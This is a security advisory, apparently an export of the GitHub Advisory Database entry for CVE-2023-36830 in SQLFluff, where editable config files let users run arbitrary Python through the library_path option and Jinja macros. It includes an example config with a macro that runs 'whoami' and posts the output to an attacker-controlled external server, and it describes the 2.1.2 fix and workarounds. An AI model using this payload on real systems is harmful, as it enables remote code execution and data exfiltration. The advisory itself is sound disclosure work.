sqlfluff
Affected
- introduced
0, fixed2.1.2(ecosystem)
Fixed versions
2.1.2
Fix
- Fixed version
2.1.2pip install --upgrade sqlfluff==2.1.2
Advisory
Also known as: CVE-2023-36830, PYSEC-2023-111
SQLFluff users with access to config file, using libary_path may call arbitrary python code
Impact
In environments where untrusted users have access to the config files (e.g. .sqlfluff), there is a potential security vulnerability where those users could use the library_path config value to allow arbitrary python code to be executed via macros. Jinja macros are executed within a sandboxed environment but the following example shows how an external url might be called and used to reveal internal information to an external listener:
[sqlfluff:templater:jinja]
library_path = /usr/lib/python3.9/http
[sqlfluff:templater:jinja:macros]
a_macro_def = {{client.HTTPSConnection('<SOME_EXTERNAL_SERVER_YOU_CONTROL>').request('POST', '/', server.os.popen('whoami').read())}}
For many users who use SQLFluff in the context of an environment where all users _already have fairly escalated privileges_, this may not be an issue - however in larger user bases, or where SQLFluff is bundled into another tool where developers still wish to give users access to supply their on _rule configuration_, this may be an issue.
Patches
The 2.1.2 release offers the ability for the library_path argument to be overwritten on the command line by using the `--library-path` option. This overrides any values provided in the config files and effectively prevents this route of attack for users which have access to the config file, but not to the scripts which call the SQLFluff CLI directly. A similar option is provided for the Python API, where users also have a greater ability to further customise or override configuration as necessary.
Unless library_path is explicitly required, we recommend using the option --library-path none when invoking SQLFluff which will disable the library-path option entirely regardless of the options set in the configuration file or via inline config directives.
Workarounds
Limiting access to - or otherwise validating configuration files before they are ingested by SQLFluff will provide a similar effect and does not require upgrade.
Credit
Dan Amodio from the Tinder Red Team
Medium Basis: The source's own band: MODERATE
0, fixed 2.1.2 (ecosystem)2.1.2
2.1.2pip install --upgrade sqlfluff==2.1.2Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0